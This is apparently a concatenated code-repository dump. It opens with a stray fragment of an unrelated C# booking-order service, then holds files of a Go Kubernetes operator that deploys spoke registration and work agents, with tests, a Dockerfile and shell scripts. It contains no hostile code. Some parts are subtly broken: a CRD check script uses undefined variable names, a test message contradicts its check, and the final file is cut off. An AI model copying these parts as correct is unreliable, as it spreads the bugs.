JsonConvert.DeserializeObject<Dictionary<string, string>>(order); query = QueryHelper.Order(query, orderDictionary); Pageable<BookingOrder> pageable = new Pageable<BookingOrder>(query, page - 1, size); List<BookingOrder> data = pageable.Data.ToList<BookingOrder>(); int totalData = pageable.TotalCount; return new ReadResponse<BookingOrder>(data, totalData, orderDictionary, selectedFields); } } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.Models; using Microsoft.EntityFrameworkCore; using Microsoft.EntityFrameworkCore.Metadata.Builders; namespace Com.Bateeq.Service.Masterplan.Lib.ModelConfigs { public class BookingOrderConfig : IEntityTypeConfiguration<BookingOrder> { public void Configure(EntityTypeBuilder<BookingOrder> builder) { builder.Property(b => b.Code).HasMaxLength(100); builder.Ignore(c => c.SectionCode); builder.Property(b => b.SectionName).HasMaxLength(300); builder.Ignore(c => c.BuyerCode); builder.Property(b => b.BuyerName).HasMaxLength(300); } } } <file_sep>using Com.Bateeq.Service.Masterplan.Lib.Interfaces; using Com.Bateeq.Service.Masterplan.Lib.Models; namespace Com.Bateeq.Service.Masterplan.Lib.BusinessLogic.Facades { public interface ISectionFacade : IBaseFacade<Section> { } }
368b7029dc46cfc3f70f1287598d6ff17ec86ebf
[ "C#" ]
19
C#
AchmadSetiaji/com.bateeq.service.masterplan
8345ca9d79ebcb9f97640178f3234e5f42ffd3e1
8b86e7070b16c8e158accd3a04e8a2d861a68f7c
refs/heads/master
<repo_name>mdelder/nucleus<file_sep>/README.md # nucleus Minimum cluster registration and work <file_sep>/pkg/operators/spoke/controller_test.go package spoke import ( "fmt" "strings" "testing" "time" "github.com/davecgh/go-spew/spew" fakenucleusclient "github.com/open-cluster-management/api/client/nucleus/clientset/versioned/fake" nucleusinformers "github.com/open-cluster-management/api/client/nucleus/informers/externalversions" nucleusapiv1 "github.com/open-cluster-management/api/nucleus/v1" "github.com/open-cluster-management/nucleus/pkg/helpers" "github.com/openshift/library-go/pkg/operator/events" "github.com/openshift/library-go/pkg/operator/events/eventstesting" appsv1 "k8s.io/api/apps/v1" corev1 "k8s.io/api/core/v1" "k8s.io/apimachinery/pkg/api/errors" "k8s.io/apimachinery/pkg/api/meta" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/runtime" "k8s.io/apimachinery/pkg/runtime/schema" fakekube "k8s.io/client-go/kubernetes/fake" clienttesting "k8s.io/client-go/testing" "k8s.io/client-go/util/workqueue" ) type testController struct { controller *nucleusSpokeController kubeClient *fakekube.Clientset nucleusClient *fakenucleusclient.Clientset } type fakeSyncContext struct { key string queue workqueue.RateLimitingInterface recorder events.Recorder } func (f fakeSyncContext) Queue() workqueue.RateLimitingInterface { return f.queue } func (f fakeSyncContext) QueueKey() string { return f.key } func (f fakeSyncContext) Recorder() events.Recorder { return f.recorder } func newFakeSyncContext(t *testing.T, key string) *fakeSyncContext { return &fakeSyncContext{ key: key, queue: workqueue.NewRateLimitingQueue(workqueue.DefaultControllerRateLimiter()), recorder: eventstesting.NewTestingEventRecorder(t), } } func newSecret(name, namespace string) *corev1.Secret { return &corev1.Secret{ ObjectMeta: metav1.ObjectMeta{ Name: name, Namespace: namespace, }, Data: map[string][]byte{}, } } func newSpokeCore(name, namespace, clustername string) *nucleusapiv1.SpokeCore { return &nucleusapiv1.SpokeCore{ ObjectMeta: metav1.ObjectMeta{ Name: name, Finalizers: []string{nucleusSpokeFinalizer}, }, Spec: nucleusapiv1.SpokeCoreSpec{ RegistrationImagePullSpec: "testregistration", WorkImagePullSpec: "testwork", ClusterName: clustername, Namespace: namespace, ExternalServerURLs: []nucleusapiv1.ServerURL{}, }, } } func newNamespace(name string) *corev1.Namespace { return &corev1.Namespace{ ObjectMeta: metav1.ObjectMeta{ Name: name, }, } } func newTestController(spokecore *nucleusapiv1.SpokeCore, objects ...runtime.Object) *testController { fakeKubeClient := fakekube.NewSimpleClientset(objects...) fakeNucleusClient := fakenucleusclient.NewSimpleClientset(spokecore) nucleusInformers := nucleusinformers.NewSharedInformerFactory(fakeNucleusClient, 5*time.Minute) hubController := &nucleusSpokeController{ nucleusClient: fakeNucleusClient.NucleusV1().SpokeCores(), kubeClient: fakeKubeClient, nucleusLister: nucleusInformers.Nucleus().V1().SpokeCores().Lister(), } store := nucleusInformers.Nucleus().V1().SpokeCores().Informer().GetStore() store.Add(spokecore) return &testController{ controller: hubController, kubeClient: fakeKubeClient, nucleusClient: fakeNucleusClient, } } func assertAction(t *testing.T, actual clienttesting.Action, expected string) { if actual.GetVerb() != expected { t.Errorf("expected %s action but got: %#v", expected, actual) } } func assertGet(t *testing.T, actual clienttesting.Action, group, version, resource string) { t.Helper() if actual.GetVerb() != "get" { t.Error(spew.Sdump(actual)) } if actual.GetResource() != (schema.GroupVersionResource{Group: group, Version: version, Resource: resource}) { t.Error(spew.Sdump(actual)) } } func namedCondition(name string, status metav1.ConditionStatus) nucleusapiv1.StatusCondition { return nucleusapiv1.StatusCondition{Type: name, Status: status} } func assertOnlyConditions(t *testing.T, actual runtime.Object, expectedConditions ...nucleusapiv1.StatusCondition) { t.Helper() spokeCore := actual.(*nucleusapiv1.SpokeCore) actualConditions := spokeCore.Status.Conditions if len(actualConditions) != len(expectedConditions) { t.Errorf("expected %v condition but got: %v", len(expectedConditions), spew.Sdump(actualConditions)) } for _, expectedCondition := range expectedConditions { actual := helpers.FindNucleusCondition(actualConditions, expectedCondition.Type) if actual == nil { t.Errorf("missing %v in %v", spew.Sdump(expectedCondition), spew.Sdump(actual)) } if actual.Status != expectedCondition.Status { t.Errorf("wrong result for %v in %v", spew.Sdump(expectedCondition), spew.Sdump(actual)) } } } func ensureNameNamespace(t *testing.T, actualName, actualNamespace, name, namespace string) { if actualName != name { t.Errorf("Name of the object does not match, expected %s, actual %s", name, actualName) } if actualNamespace != namespace { t.Errorf("Namespace of the object does not match, expected %s, actual %s", namespace, actualNamespace) } } func ensureObject(t *testing.T, object runtime.Object, spokeCore *nucleusapiv1.SpokeCore) { access, err := meta.Accessor(object) if err != nil { t.Errorf("Unable to access objectmeta: %v", err) } switch o := object.(type) { case *appsv1.Deployment: if strings.Contains(access.GetName(), "registration") { ensureNameNamespace( t, access.GetName(), access.GetNamespace(), fmt.Sprintf("%s-registration-agent", spokeCore.Name), spokeCore.Spec.Namespace) if spokeCore.Spec.RegistrationImagePullSpec != o.Spec.Template.Spec.Containers[0].Image { t.Errorf("Image does not match to the expected.") } } else if strings.Contains(access.GetName(), "work") { ensureNameNamespace( t, access.GetName(), access.GetNamespace(), fmt.Sprintf("%s-work-agent", spokeCore.Name), spokeCore.Spec.Namespace) if spokeCore.Spec.WorkImagePullSpec != o.Spec.Template.Spec.Containers[0].Image { t.Errorf("Image does not match to the expected.") } } else { t.Errorf("Unexpected deployment") } } } // TestSyncDeploy test deployment of spoke components func TestSyncDeploy(t *testing.T) { spokeCore := newSpokeCore("testspoke", "testns", "cluster1") bootStrapSecret := newSecret(bootstrapHubKubeConfigSecret, "testns") hubKubeConfigSecret := newSecret(hubKubeConfigSecret, "testns") hubKubeConfigSecret.Data["kubeconfig"] = []byte("dummuykubeconnfig") namespace := newNamespace("testns") controller := newTestController(spokeCore, bootStrapSecret, hubKubeConfigSecret, namespace) syncContext := newFakeSyncContext(t, "testspoke") err := controller.controller.sync(nil, syncContext) if err != nil { t.Errorf("Expected non error when sync, %v", err) } createObjects := []runtime.Object{} kubeActions := controller.kubeClient.Actions() for _, action := range kubeActions { if action.GetVerb() == "create" { object := action.(clienttesting.CreateActionImpl).Object createObjects = append(createObjects, object) } } // Check if resources are created as expected if len(createObjects) != 11 { t.Errorf("Expect 11 objects created in the sync loop, actual %d", len(createObjects)) } for _, object := range createObjects { ensureObject(t, object, spokeCore) } nucleusAction := controller.nucleusClient.Actions() if len(nucleusAction) != 4 { t.Errorf("Expect 4 actions in the sync loop, actual %#v", nucleusAction) } assertGet(t, nucleusAction[0], "nucleus.open-cluster-management.io", "v1", "spokecores") assertAction(t, nucleusAction[1], "update") assertOnlyConditions(t, nucleusAction[1].(clienttesting.UpdateActionImpl).Object, namedCondition(spokeCoreApplied, metav1.ConditionTrue)) assertGet(t, nucleusAction[2], "nucleus.open-cluster-management.io", "v1", "spokecores") assertAction(t, nucleusAction[3], "update") assertOnlyConditions(t, nucleusAction[3].(clienttesting.UpdateActionImpl).Object, namedCondition(spokeCoreApplied, metav1.ConditionTrue), namedCondition(spokeRegistrationDegraded, metav1.ConditionFalse)) } // TestSyncWithNoSecret test the scenario that bootstrap secret and hub config secret does not exist func TestSyncWithNoSecret(t *testing.T) { spokeCore := newSpokeCore("testspoke", "testns", "") bootStrapSecret := newSecret(bootstrapHubKubeConfigSecret, "testns") hubSecret := newSecret(hubKubeConfigSecret, "testns") namespace := newNamespace("testns") controller := newTestController(spokeCore, namespace) syncContext := newFakeSyncContext(t, "testspoke") // Return err since bootstrap secret does not exist err := controller.controller.sync(nil, syncContext) if err == nil { t.Errorf("Expected error when sync") } nucleusAction := controller.nucleusClient.Actions() if len(nucleusAction) != 2 { t.Errorf("Expect 2 actions in the sync loop, actual %#v", nucleusAction) } assertGet(t, nucleusAction[0], "nucleus.open-cluster-management.io", "v1", "spokecores") assertAction(t, nucleusAction[1], "update") assertOnlyConditions(t, nucleusAction[1].(clienttesting.UpdateActionImpl).Object, namedCondition(spokeCoreApplied, metav1.ConditionFalse)) // reset for round 2 controller.nucleusClient.ClearActions() // Add bootstrap secret and sync again controller.kubeClient.PrependReactor("get", "secrets", func(action clienttesting.Action) (handled bool, ret runtime.Object, err error) { if action.GetVerb() != "get" { return false, nil, nil } getAction := action.(clienttesting.GetActionImpl) if getAction.Name != bootstrapHubKubeConfigSecret { return false, nil, errors.NewNotFound( corev1.Resource("secrets"), bootstrapHubKubeConfigSecret) } return true, bootStrapSecret, nil }) // Return err since cluster-name cannot be found in hubkubeconfig secret err = controller.controller.sync(nil, syncContext) if err == nil { t.Errorf("Expected error when sync") } nucleusAction = controller.nucleusClient.Actions() if len(nucleusAction) != 4 { t.Errorf("Expect 4 actions in the sync loop, actual %#v", nucleusAction) } assertGet(t, nucleusAction[0], "nucleus.open-cluster-management.io", "v1", "spokecores") assertAction(t, nucleusAction[1], "update") assertOnlyConditions(t, nucleusAction[1].(clienttesting.UpdateActionImpl).Object, namedCondition(spokeCoreApplied, metav1.ConditionTrue)) assertGet(t, nucleusAction[2], "nucleus.open-cluster-management.io", "v1", "spokecores") assertAction(t, nucleusAction[3], "update") assertOnlyConditions(t, nucleusAction[3].(clienttesting.UpdateActionImpl).Object, namedCondition(spokeCoreApplied, metav1.ConditionTrue), namedCondition(spokeRegistrationDegraded, metav1.ConditionTrue)) // reset for round 3 controller.nucleusClient.ClearActions() // Add hub config secret and sync again hubSecret.Data["kubeconfig"] = []byte("dummykubeconfig") hubSecret.Data["cluster-name"] = []byte("cluster1") controller.kubeClient.PrependReactor("get", "secrets", func(action clienttesting.Action) (handled bool, ret runtime.Object, err error) { if action.GetVerb() != "get" { return false, nil, nil } getAction := action.(clienttesting.GetActionImpl) if getAction.Name != hubKubeConfigSecret { return false, nil, errors.NewNotFound( corev1.Resource("secrets"), hubKubeConfigSecret) } return true, hubSecret, nil }) err = controller.controller.sync(nil, syncContext) if err != nil { t.Errorf("Expected no error when sync: %v", err) } nucleusAction = controller.nucleusClient.Actions() if len(nucleusAction) != 3 { t.Errorf("Expect 3 actions in the sync loop, actual %#v", nucleusAction) } assertGet(t, nucleusAction[0], "nucleus.open-cluster-management.io", "v1", "spokecores") assertGet(t, nucleusAction[1], "nucleus.open-cluster-management.io", "v1", "spokecores") assertAction(t, nucleusAction[2], "update") assertOnlyConditions(t, nucleusAction[2].(clienttesting.UpdateActionImpl).Object, namedCondition(spokeCoreApplied, metav1.ConditionTrue), namedCondition(spokeRegistrationDegraded, metav1.ConditionFalse)) } // TestSyncDelete test cleanup hub deploy func TestSyncDelete(t *testing.T) { spokeCore := newSpokeCore("testspoke", "testns", "") now := metav1.Now() spokeCore.ObjectMeta.SetDeletionTimestamp(&now) namespace := newNamespace("testns") controller := newTestController(spokeCore, namespace) syncContext := newFakeSyncContext(t, "testspoke") err := controller.controller.sync(nil, syncContext) if err != nil { t.Errorf("Expected non error when sync, %v", err) } deleteActions := []clienttesting.DeleteActionImpl{} kubeActions := controller.kubeClient.Actions() for _, action := range kubeActions { if action.GetVerb() == "delete" { deleteAction := action.(clienttesting.DeleteActionImpl) deleteActions = append(deleteActions, deleteAction) } } if len(kubeActions) != 12 { t.Errorf("Expected 7 delete actions, but got %d", len(kubeActions)) } } // TestGetServersFromSpokeCore tests getServersFromSpokeCore func func TestGetServersFromSpokeCore(t *testing.T) { cases := []struct { name string servers []string expected string }{ { name: "Null", servers: nil, expected: "", }, { name: "Empty string", servers: []string{}, expected: "", }, { name: "Single server", servers: []string{"https://server1"}, expected: "https://server1", }, { name: "Multiple servers", servers: []string{"https://server1", "https://server2"}, expected: "https://server1,https://server2", }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { spokeCore := newSpokeCore("testspoke", "testns", "") for _, server := range c.servers { spokeCore.Spec.ExternalServerURLs = append(spokeCore.Spec.ExternalServerURLs, nucleusapiv1.ServerURL{URL: server}) } actual := getServersFromSpokeCore(spokeCore) if actual != c.expected { t.Errorf("Expected to be same, actual %q, expected %q", actual, c.expected) } }) } } <file_sep>/test/integration/doc.go // Package integration provides integration tests for open-cluster-management nucleus, the test cases include // - TODO deploy/update/remvoe the hub core // - TODO deploy/update/remvoe the spoke agents package integration <file_sep>/pkg/operators/spoke/controller.go package spoke import ( "context" "fmt" "path/filepath" "strings" corev1 "k8s.io/api/core/v1" "k8s.io/apimachinery/pkg/api/errors" "k8s.io/apimachinery/pkg/api/meta" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/client-go/kubernetes" "k8s.io/klog" "github.com/openshift/library-go/pkg/controller/factory" "github.com/openshift/library-go/pkg/operator/events" "k8s.io/apimachinery/pkg/runtime" "github.com/openshift/library-go/pkg/assets" "github.com/openshift/library-go/pkg/operator/resource/resourceapply" operatorhelpers "github.com/openshift/library-go/pkg/operator/v1helpers" nucleusv1client "github.com/open-cluster-management/api/client/nucleus/clientset/versioned/typed/nucleus/v1" nucleusinformer "github.com/open-cluster-management/api/client/nucleus/informers/externalversions/nucleus/v1" nucleuslister "github.com/open-cluster-management/api/client/nucleus/listers/nucleus/v1" nucleusapiv1 "github.com/open-cluster-management/api/nucleus/v1" "github.com/open-cluster-management/nucleus/pkg/helpers" "github.com/open-cluster-management/nucleus/pkg/operators/spoke/bindata" ) const ( nucleusSpokeFinalizer = "nucleus.open-cluster-management.io/spoke-core-cleanup" bootstrapHubKubeConfigSecret = "bootstrap-hub-kubeconfig" hubKubeConfigSecret = "hub-kubeconfig-secret" nucleusSpokeCoreNamespace = "open-cluster-management-spoke" spokeCoreApplied = "Applied" spokeRegistrationDegraded = "SpokeRegistrationDegraded" ) var ( staticResourceFiles = []string{ "manifests/spoke/spoke-registration-serviceaccount.yaml", "manifests/spoke/spoke-registration-clusterrole.yaml", "manifests/spoke/spoke-registration-clusterrolebinding.yaml", "manifests/spoke/spoke-registration-role.yaml", "manifests/spoke/spoke-registration-rolebinding.yaml", "manifests/spoke/spoke-work-serviceaccount.yaml", "manifests/spoke/spoke-work-clusterrole.yaml", "manifests/spoke/spoke-work-clusterrolebinding.yaml", "manifests/spoke/spoke-work-clusterrolebinding-addition.yaml", } ) type nucleusSpokeController struct { nucleusClient nucleusv1client.SpokeCoreInterface nucleusLister nucleuslister.SpokeCoreLister kubeClient kubernetes.Interface registrationGeneration int64 workGeneration int64 } // NewNucleusSpokeController construct nucleus spoke controller func NewNucleusSpokeController( kubeClient kubernetes.Interface, nucleusClient nucleusv1client.SpokeCoreInterface, nucleusInformer nucleusinformer.SpokeCoreInformer, recorder events.Recorder) factory.Controller { controller := &nucleusSpokeController{ kubeClient: kubeClient, nucleusClient: nucleusClient, nucleusLister: nucleusInformer.Lister(), } return factory.New().WithSync(controller.sync). WithInformersQueueKeyFunc(func(obj runtime.Object) string { accessor, _ := meta.Accessor(obj) return accessor.GetName() }, nucleusInformer.Informer()). ToController("NucleusSpokeController", recorder) } // spokeConfig is used to render the template of hub manifests type spokeConfig struct { SpokeCoreName string SpokeCoreNamespace string RegistrationImage string WorkImage string ClusterName string ExternalServerURL string HubKubeConfigSecret string BootStrapKubeConfigSecret string } func (n *nucleusSpokeController) sync(ctx context.Context, controllerContext factory.SyncContext) error { spokeCoreName := controllerContext.QueueKey() klog.V(4).Infof("Reconciling SpokeCore %q", spokeCoreName) spokeCore, err := n.nucleusLister.Get(spokeCoreName) if errors.IsNotFound(err) { // AgentCore not found, could have been deleted, do nothing. return nil } if err != nil { return err } spokeCore = spokeCore.DeepCopy() config := spokeConfig{ SpokeCoreName: spokeCore.Name, SpokeCoreNamespace: spokeCore.Spec.Namespace, RegistrationImage: spokeCore.Spec.RegistrationImagePullSpec, WorkImage: spokeCore.Spec.WorkImagePullSpec, ClusterName: spokeCore.Spec.ClusterName, BootStrapKubeConfigSecret: bootstrapHubKubeConfigSecret, HubKubeConfigSecret: hubKubeConfigSecret, ExternalServerURL: getServersFromSpokeCore(spokeCore), } // If namespace is not set, use the default namespace if config.SpokeCoreNamespace == "" { config.SpokeCoreNamespace = nucleusSpokeCoreNamespace } // Update finalizer at first if spokeCore.DeletionTimestamp.IsZero() { hasFinalizer := false for i := range spokeCore.Finalizers { if spokeCore.Finalizers[i] == nucleusSpokeFinalizer { hasFinalizer = true break } } if !hasFinalizer { spokeCore.Finalizers = append(spokeCore.Finalizers, nucleusSpokeFinalizer) _, err := n.nucleusClient.Update(ctx, spokeCore, metav1.UpdateOptions{}) return err } } // SpokeCore is deleting, we remove its related resources on spoke if !spokeCore.DeletionTimestamp.IsZero() { if err := n.cleanUp(ctx, controllerContext, config); err != nil { return err } return n.removeWorkFinalizer(ctx, spokeCore) } // Start deploy spoke core components // Check if namespace exists _, err = n.kubeClient.CoreV1().Namespaces().Get(ctx, config.SpokeCoreNamespace, metav1.GetOptions{}) switch { case errors.IsNotFound(err): _, createErr := n.kubeClient.CoreV1().Namespaces().Create(ctx, &corev1.Namespace{ ObjectMeta: metav1.ObjectMeta{Name: config.SpokeCoreNamespace}, }, metav1.CreateOptions{}) if createErr != nil { helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeCoreApplied, Status: metav1.ConditionFalse, Reason: "SpokeCoreApplyFailed", Message: fmt.Sprintf("Failed to create namespace %q: %v", config.SpokeCoreNamespace, createErr), })) return createErr } case err != nil: helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeCoreApplied, Status: metav1.ConditionFalse, Reason: "SpokeCoreApplyFailed", Message: fmt.Sprintf("Failed to get namespace %q: %v", config.SpokeCoreNamespace, err), })) return err } // Check if bootstrap secret exists _, err = n.kubeClient.CoreV1().Secrets(config.SpokeCoreNamespace).Get( ctx, config.BootStrapKubeConfigSecret, metav1.GetOptions{}) if err != nil { helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeCoreApplied, Status: metav1.ConditionFalse, Reason: "SpokeCoreApplyFailed", Message: fmt.Sprintf("Failed to get bootstrap secret -n %q %q: %v", config.SpokeCoreNamespace, config.BootStrapKubeConfigSecret, err), })) return err } // Deploy the static resources // Apply static files resourceResults := resourceapply.ApplyDirectly( resourceapply.NewKubeClientHolder(n.kubeClient), controllerContext.Recorder(), func(name string) ([]byte, error) { return assets.MustCreateAssetFromTemplate(name, bindata.MustAsset(filepath.Join("", name)), config).Data, nil }, staticResourceFiles..., ) errs := []error{} for _, result := range resourceResults { if result.Error != nil { errs = append(errs, fmt.Errorf("%q (%T): %v", result.File, result.Type, result.Error)) } } if len(errs) > 0 { applyErrors := operatorhelpers.NewMultiLineAggregate(errs) helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeCoreApplied, Status: metav1.ConditionFalse, Reason: "SpokeCoreApplyFailed", Message: applyErrors.Error(), })) return applyErrors } // Create hub config secret hubSecret, err := n.kubeClient.CoreV1().Secrets(config.SpokeCoreNamespace).Get(ctx, hubKubeConfigSecret, metav1.GetOptions{}) switch { case errors.IsNotFound(err): // Create an empty secret with placeholder hubSecret = &corev1.Secret{ ObjectMeta: metav1.ObjectMeta{ Name: hubKubeConfigSecret, Namespace: config.SpokeCoreNamespace, }, Data: map[string][]byte{"placeholder": []byte("placeholder")}, } hubSecret, err = n.kubeClient.CoreV1().Secrets(config.SpokeCoreNamespace).Create(ctx, hubSecret, metav1.CreateOptions{}) if err != nil { helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeCoreApplied, Status: metav1.ConditionFalse, Reason: "SpokeCoreApplyFailed", Message: fmt.Sprintf("Failed to create hub kubeconfig secret -n %q %q: %v", hubSecret.Namespace, hubSecret.Name, err), })) return err } case err != nil: helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeCoreApplied, Status: metav1.ConditionFalse, Reason: "SpokeCoreApplyFailed", Message: fmt.Sprintf("Failed to get hub kubeconfig secret with error %v", err), })) return err } // Deploy registration agent generation, err := helpers.ApplyDeployment( n.kubeClient, n.registrationGeneration, func(name string) ([]byte, error) { return assets.MustCreateAssetFromTemplate(name, bindata.MustAsset(filepath.Join("", name)), config).Data, nil }, controllerContext.Recorder(), "manifests/spoke/spoke-registration-deployment.yaml") if err != nil { helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeCoreApplied, Status: metav1.ConditionFalse, Reason: "SpokeCoreApplyFailed", Message: fmt.Sprintf("Failed to deploy registration deployment with error %v", err), })) return err } // TODO store this in the status of the spokecore itself n.registrationGeneration = generation // Deploy work agent generation, err = helpers.ApplyDeployment( n.kubeClient, n.workGeneration, func(name string) ([]byte, error) { return assets.MustCreateAssetFromTemplate(name, bindata.MustAsset(filepath.Join("", name)), config).Data, nil }, controllerContext.Recorder(), "manifests/spoke/spoke-work-deployment.yaml") if err != nil { helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeCoreApplied, Status: metav1.ConditionFalse, Reason: "SpokeCoreApplyFailed", Message: fmt.Sprintf("Failed to deploy work deployment with error %v", err), })) return err } // TODO store this in the status of the spokecore itself n.workGeneration = generation // if we get here, we have successfully applied everything and should indicate that helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeCoreApplied, Status: metav1.ConditionTrue, Reason: "SpokeCoreApplied", Message: "Spoke Core Component Applied", })) // now that we have applied all of our logic, we can check to see if the data we expect to have present as indications of // proper functioning of registration controller is working // TODO this should be moved into a separate loop since it is independent of the application of the eventually consistent // resources above // If cluster name is empty, read cluster name from hub config secret if config.ClusterName == "" { clusterName := hubSecret.Data["cluster-name"] if clusterName == nil { helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeRegistrationDegraded, Status: metav1.ConditionTrue, Reason: "ClusterNameMissing", Message: fmt.Sprintf("Failed to get cluster name from `kubectl get secret -n %q %q -ojsonpath='{.data.cluster-name}`. This is set by the spoke registration deployment.", hubSecret.Namespace, hubSecret.Name), })) return fmt.Errorf("Failed to get cluster name") } config.ClusterName = string(clusterName) } // If hub kubeconfig does not exist, return err. if hubSecret.Data["kubeconfig"] == nil { helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeRegistrationDegraded, Status: metav1.ConditionTrue, Reason: "HubKubeconfigMissing", Message: fmt.Sprintf("Failed to get cluster name from `kubectl get secret -n %q %q -ojsonpath='{.data.kubeconfig}`. This is set by the spoke registration deployment, but the CSR must be approved by the cluster-admin on the hub.", hubSecret.Namespace, hubSecret.Name), })) return fmt.Errorf("Failed to get kubeconfig from hub kubeconfig secret") } // TODO it is possible to verify the kubeconfig actually works. helpers.UpdateNucleusSpokeStatus(ctx, n.nucleusClient, spokeCoreName, helpers.UpdateNucleusSpokeConditionFn(nucleusapiv1.StatusCondition{ Type: spokeRegistrationDegraded, Status: metav1.ConditionFalse, Reason: "RegistrationFunctional", Message: "Registration is managing credentials", })) return nil } func (n *nucleusSpokeController) cleanUp(ctx context.Context, controllerContext factory.SyncContext, config spokeConfig) error { // Remove deployment registrationDeployment := fmt.Sprintf("%s-registration-agent", config.SpokeCoreName) err := n.kubeClient.AppsV1().Deployments(config.SpokeCoreNamespace).Delete(ctx, registrationDeployment, metav1.DeleteOptions{}) if err != nil && !errors.IsNotFound(err) { return err } controllerContext.Recorder().Eventf("DeploymentDeleted", "deployment %s is deleted", registrationDeployment) workDeployment := fmt.Sprintf("%s-work-agent", config.SpokeCoreName) err = n.kubeClient.AppsV1().Deployments(config.SpokeCoreNamespace).Delete(ctx, workDeployment, metav1.DeleteOptions{}) if err != nil && !errors.IsNotFound(err) { return err } // Remove secret err = n.kubeClient.CoreV1().Secrets(config.SpokeCoreNamespace).Delete(ctx, config.HubKubeConfigSecret, metav1.DeleteOptions{}) if err != nil && !errors.IsNotFound(err) { return err } controllerContext.Recorder().Eventf("SecretDeleted", "secret %s is deleted", config.HubKubeConfigSecret) // Remove Static files for _, file := range staticResourceFiles { err := helpers.CleanUpStaticObject( ctx, n.kubeClient, nil, nil, func(name string) ([]byte, error) { return assets.MustCreateAssetFromTemplate(name, bindata.MustAsset(filepath.Join("", name)), config).Data, nil }, file, ) if err != nil { return err } } return nil } func (n *nucleusSpokeController) removeWorkFinalizer(ctx context.Context, deploy *nucleusapiv1.SpokeCore) error { copiedFinalizers := []string{} for i := range deploy.Finalizers { if deploy.Finalizers[i] == nucleusSpokeFinalizer { continue } copiedFinalizers = append(copiedFinalizers, deploy.Finalizers[i]) } if len(deploy.Finalizers) != len(copiedFinalizers) { deploy.Finalizers = copiedFinalizers _, err := n.nucleusClient.Update(ctx, deploy, metav1.UpdateOptions{}) return err } return nil } func readClusterNameFromSecret(secret *corev1.Secret) (string, error) { if secret.Data["cluster-name"] == nil { return "", fmt.Errorf("Unable to find cluster name in secret") } return string(secret.Data["cluster-name"]), nil } func readKubuConfigFromSecret(secret *corev1.Secret, config spokeConfig) (string, error) { if secret.Data["kubeconfig"] == nil { return "", fmt.Errorf("Unable to find kubeconfig in secret") } return string(secret.Data["kubeconfig"]), nil } // TODO also read CABundle from ExternalServerURLs and set into registration deployment func getServersFromSpokeCore(spokeCore *nucleusapiv1.SpokeCore) string { if spokeCore.Spec.ExternalServerURLs == nil { return "" } serverString := make([]string, 0, len(spokeCore.Spec.ExternalServerURLs)) for _, server := range spokeCore.Spec.ExternalServerURLs { serverString = append(serverString, server.URL) } return strings.Join(serverString, ",") } <file_sep>/pkg/cmd/operator/hub.go package operator import ( "github.com/spf13/cobra" "github.com/openshift/library-go/pkg/controller/controllercmd" "github.com/open-cluster-management/nucleus/pkg/operators" "github.com/open-cluster-management/nucleus/pkg/version" ) // NewHubOperatorCmd generatee a command to start hub operator func NewHubOperatorCmd() *cobra.Command { cmd := controllercmd. NewControllerCommandConfig("nucleus-hub", version.Get(), operators.RunNucleusHubOperator). NewCommand() cmd.Use = "hub" cmd.Short = "Start the nucleus hub operator" return cmd } <file_sep>/build/Dockerfile FROM docker.io/openshift/origin-release:golang-1.13 AS builder WORKDIR /go/src/github.com/open-cluster-management/nucleus COPY ../. . ENV GO_PACKAGE github.com/open-cluster-management/nucleus RUN make build --warn-undefined-variables FROM registry.access.redhat.com/ubi8/ubi-minimal:8.1-398 COPY --from=builder /go/src/github.com/open-cluster-management/nucleus/nucleus / <file_sep>/hack/init.sh #!/bin/bash set -o errexit set -o nounset set -o pipefail CRD_FILES="./vendor/github.com/open-cluster-management/api/cluster/v1/*.crd.yaml ./vendor/github.com/open-cluster-management/api/work/v1/*.crd.yaml " NUCLEUS_HUB_CRD_FILE="./vendor/github.com/open-cluster-management/api/nucleus/v1/0000_01_nucleus.open-cluster-management.io_hubcores.crd.yaml" NUCLEUS_SPOKE_CRD_FILE="./vendor/github.com/open-cluster-management/api/nucleus/v1/0000_00_nucleus.open-cluster-management.io_agentcores.crd.yaml" <file_sep>/hack/verify-crds.sh #!/bin/bash source "$(dirname "${BASH_SOURCE}")/init.sh" for f in $CRD_FILES do diff -N $f ./manifests/hub/$(basename $f) || ( echo 'crd content is incorrect' && false ) done diff -N $NUCLEUS_HUB_CRD_FILE ./deploy/nucleus-hub/crds/$(basename $NUCLEUS_HUB_CRD_FILES) || ( echo 'crd content is incorrect' && false ) diff -N $NUCLEUS_SPOKE_CRD_FILE ./deploy/nucleus-spoke/crds/$(basename $NUCLEUS_SPOKE_CRD_FILES) || ( echo 'crd content is incorrect' && false ) <file_sep>/pkg/operators/hub/controller.go package hub import ( "context" "encoding/base64" "fmt" 